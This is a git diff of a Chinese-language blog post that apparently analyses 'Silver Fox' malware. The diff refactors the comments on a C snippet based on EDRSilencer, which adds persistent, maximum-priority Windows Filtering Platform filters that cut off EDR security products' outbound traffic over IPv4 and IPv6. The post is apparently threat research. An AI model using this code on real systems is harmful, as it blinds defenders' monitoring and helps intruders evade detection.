refactor WFP filter configuration for blocking EDR communication

Author: JerryLinLinLin

_posts/2025-12-15-silver-fox-poc-2025-zh-cn.md

@@ -77,174 +77,66 @@ pythonmemorymodule.MemoryModule(data=data)
 以下是基于 EDRSilencer 核心逻辑的代码片段，展示了如何配置 WFP 过滤器以阻断特定进程的流量：
 
 ```c
-// ==================== WFP 过滤器配置 ====================
-// 参考: https://learn.microsoft.com/en-us/windows/win32/api/fwpmtypes/ns-fwpmtypes-fwpm_filter0
-
-// 设置过滤器显示名称（用于管理界面和 netsh wfp show filters 命令显示）
+// 设置过滤器显示名称（用于 netsh wfp show filters 等管理命令）
 filter.displayData.name = filterName;
 
-// -------------------- 过滤器标志 --------------------
-// FWPM_FILTER_FLAG_PERSISTENT: 持久化过滤器
-// 特性:
-//   - 过滤器信息存储在注册表 HKLM\SYSTEM\CurrentControlSet\Services\BFE\Parameters\Policy 中
-//   - BFE (Base Filtering Engine) 服务启动时自动加载
-//   - 系统重启后依然生效，直到被显式删除 (FwpmFilterDeleteById0)
-//   - 不能与 FWPM_FILTER_FLAG_BOOTTIME 同时使用
-// 对比:
-//   - 不设置此标志 = 静态过滤器，BFE 停止或系统关机后消失
-//   - 动态会话过滤器 = 会话断开后自动删除
+// PERSISTENT: 持久化过滤器，存储在注册表中，系统重启后依然生效直到显式删除
 filter.flags = FWPM_FILTER_FLAG_PERSISTENT;
 
-// -------------------- 过滤层 (Layer) --------------------
-// FWPM_LAYER_ALE_AUTH_CONNECT_V4: ALE (Application Layer Enforcement) 出站连接授权层 (IPv4)
-// 参考: https://learn.microsoft.com/en-us/windows/win32/fwp/ale-layers
-//
-// 触发时机:
-//   - TCP: connect() 系统调用时
-//   - UDP: 向唯一远程地址/端口发送的第一个数据包
-//   - ICMP: 第一个出站非错误 ICMP 消息
-//
-// 为什么选择 ALE 层而非 Transport 层:
-//   - ALE 层是有状态的 (stateful)，每个连接只评估一次
-//   - Transport 层是无状态的，每个数据包都会评估（性能开销大）
-//   - 对于阻断 EDR 的 "首次出站连接" 场景，ALE 层足够且高效
+// ALE_AUTH_CONNECT_V4: 出站连接授权层，TCP connect() / UDP首包 / ICMP首包时触发，有状态，每连接仅评估一次
 filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4;
 
-// -------------------- 过滤动作 --------------------
-// FWP_ACTION_BLOCK: 阻断匹配的网络流量
-// 其他可选值:
-//   - FWP_ACTION_PERMIT: 允许流量
-//   - FWP_ACTION_CALLOUT_TERMINATING: 调用 callout 驱动处理并终止
-//   - FWP_ACTION_CALLOUT_INSPECTION: 调用 callout 驱动检查但不终止
+// BLOCK: 阻断匹配的网络流量
 filter.action.type = FWP_ACTION_BLOCK;
 
-// -------------------- 过滤器权重 (Weight / Priority) --------------------
-// 参考: https://learn.microsoft.com/en-us/windows/win32/fwp/filter-arbitration
-//
-// 权重决定过滤器的优先级，值越大优先级越高
-// 0xFFFFFFFFFFFFFFFF (UINT64_MAX) = 最高可能权重
-//
-// 为什么设置最大权重:
-//   - 确保此过滤器在同一 sublayer 中先于其他过滤器被评估
-//   - EDR 产品自己的 WFP 过滤器可能设置了 PERMIT 规则
-//   - 使用最高权重可以"抢占"优先处理权，覆盖 EDR 的放行规则
-//
-// 权重类型说明:
-//   - FWP_UINT64: 显式指定 64 位权重值
-//   - FWP_EMPTY: 由 BFE 自动分配权重 (auto-weight)
-//   - FWP_UINT8: 基于范围的自动权重 (0-15)
+// 权重 = 优先级，UINT64_MAX 确保此过滤器先于 EDR 自身的 PERMIT 规则被评估
 UINT64 weightValue = 0xFFFFFFFFFFFFFFFF;
 filter.weight.type = FWP_UINT64;
-filter.weight.uint64 = &weightValue;  // 注意: 传递的是指针
-
-// ==================== 过滤条件配置 ====================
-// 参考: https://learn.microsoft.com/en-us/windows/win32/api/fwpmtypes/ns-fwpmtypes-fwpm_filter_condition0
-
-// -------------------- 条件字段键 --------------------
-// FWPM_CONDITION_ALE_APP_ID: 基于应用程序标识符进行匹配
-// App ID 是可执行文件的 NT 设备路径，例如:
-//   \device\harddiskvolume1\windows\system32\svchost.exe
-//
-// 其他常用条件字段:
-//   - FWPM_CONDITION_IP_REMOTE_ADDRESS: 远程 IP 地址
-//   - FWPM_CONDITION_IP_REMOTE_PORT: 远程端口
-//   - FWPM_CONDITION_IP_PROTOCOL: IP 协议 (TCP/UDP/ICMP)
-//   - FWPM_CONDITION_ALE_USER_ID: 发起连接的用户 SID
-cond.fieldKey = FWPM_CONDITION_ALE_APP_ID;
+filter.weight.uint64 = &weightValue;
 
-// -------------------- 匹配类型 --------------------
-// FWP_MATCH_EQUAL: 精确匹配
-// 其他匹配类型:
-//   - FWP_MATCH_GREATER / FWP_MATCH_LESS: 数值比较
-//   - FWP_MATCH_RANGE: 范围匹配 (如端口范围)
-//   - FWP_MATCH_PREFIX: 前缀匹配 (如子网)
-//   - FWP_MATCH_NOT_EQUAL: 不等于
+// ALE_APP_ID: 按应用程序路径匹配（NT 设备路径格式，如 \device\harddiskvolume1\...\xxx.exe）
+cond.fieldKey = FWPM_CONDITION_ALE_APP_ID;
+// 精确匹配
 cond.matchType = FWP_MATCH_EQUAL;
-
-// -------------------- 条件值 --------------------
-// FWP_BYTE_BLOB_TYPE: 字节块类型，用于存储可变长度数据
-// App ID 是一个 FWP_BYTE_BLOB 结构:
-//   - size: 数据大小
-//   - data: 指向 NT 设备路径的 Unicode 字符串
-//
-// appId 通常由 FwpmGetAppIdFromFileName0() 获取
-// EDRSilencer 自己实现了这个函数以绕过 EDR 的 minifilter 保护
+// appId 是 FWP_BYTE_BLOB 结构，由 FwpmGetAppIdFromFileName0() 或自定义实现获取
 cond.conditionValue.type = FWP_BYTE_BLOB_TYPE;
 cond.conditionValue.byteBlob = appId;
 
-// 将条件数组关联到过滤器
-// 多个条件之间是 AND 关系（所有条件都满足时才触发动作）
+// 关联条件到过滤器，多条件为 AND 关系
 filter.filterCondition = &cond;
-filter.numFilterConditions = 1;  // 只有一个条件: 匹配目标进程
-
-// ==================== Provider (提供者) 配置 ====================
-// 参考: https://learn.microsoft.com/en-us/windows/win32/fwp/object-management
-//
-// Provider 是 WFP 对象的逻辑分组机制，用于:
-//   - 标识过滤器的创建者/所有者
-//   - 管理界面中分类显示
-//   - 便于批量查询和删除同一来源的过滤器
-//
-// 检查是否已存在同名 Provider，避免重复创建
+filter.numFilterConditions = 1;
+
+// Provider: 过滤器的逻辑分组/所有者标识，便于管理和批量删除
 if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
-    // 已存在，复用现有 Provider
-    filter.providerKey = &providerGuid;
+    filter.providerKey = &providerGuid;  // 复用已存在的 Provider
 } else {
-    // 不存在，创建新 Provider
     provider.displayData.name = providerName;
     provider.displayData.description = providerDescription;
-    
-    // FWPM_PROVIDER_FLAG_PERSISTENT: Provider 也设为持久化
-    // 确保系统重启后 Provider 信息依然存在
-    provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT;
-    
+    provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT;  // Provider 也持久化
     result = FwpmProviderAdd0(hEngine, &provider, NULL);
     if (result != ERROR_SUCCESS) {
         printf("[-] FwpmProviderAdd0 failed with error code: 0x%x.\n", result);
     } else {
-        // 创建成功后获取其 GUID 并关联到过滤器
         if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
             filter.providerKey = &providerGuid;
         }
     }
 }
 
-// ==================== 添加过滤器到 IPv4 层 ====================
-// FwpmFilterAdd0 参数:
-//   - hEngine: WFP 引擎句柄 (由 FwpmEngineOpen0 获取)
-//   - &filter: 过滤器配置结构
-//   - NULL: 安全描述符 (NULL = 使用默认)
-//   - &filterId: 输出参数，返回新创建过滤器的 ID (用于后续删除)
+// 添加 IPv4 出站阻断过滤器，filterId 用于后续 FwpmFilterDeleteById0 删除
 result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
 if (result == ERROR_SUCCESS) {
     printf("Added WFP filter for \"%s\" (Filter id: %d, IPv4 layer).\n", fullPath, filterId);
 } else {
-    // 常见错误码:
-    //   - FWP_E_ALREADY_EXISTS (0x80320009): 过滤器已存在
-    //   - FWP_E_INCOMPATIBLE_TXN: 在只读事务中调用
-    //   - ERROR_ACCESS_DENIED: 权限不足
     printf("[-] Failed to add filter in IPv4 layer with error code: 0x%x.\n", result);
 }
 
-// ==================== 添加过滤器到 IPv6 层 ====================
-// 现代网络环境中 IPv6 流量越来越常见
-// EDR 可能通过 IPv6 地址与云端通信，因此需要同时阻断
-// 只需修改 layerKey，其他配置复用
+// 同时阻断 IPv6，防止 EDR 通过 IPv6 通信
 filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6;
 result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
 if (result == ERROR_SUCCESS) {
     printf("Added WFP filter for \"%s\" (Filter id: %d, IPv6 layer).\n", fullPath, filterId);
 } else {
     printf("[-] Failed to add filter in IPv6 layer with error code: 0x%x.\n", result);
 }
-
-// ==================== 资源清理 ====================
-// 释放 App ID 占用的内存 (FwpmFreeMemory0)
-FreeAppId(appId);
-
-// 关闭 WFP 引擎句柄
-// 注意: 由于过滤器设置了 PERSISTENT 标志，关闭句柄不会删除过滤器
-FwpmEngineClose0(hEngine);
-return;
-}
 ```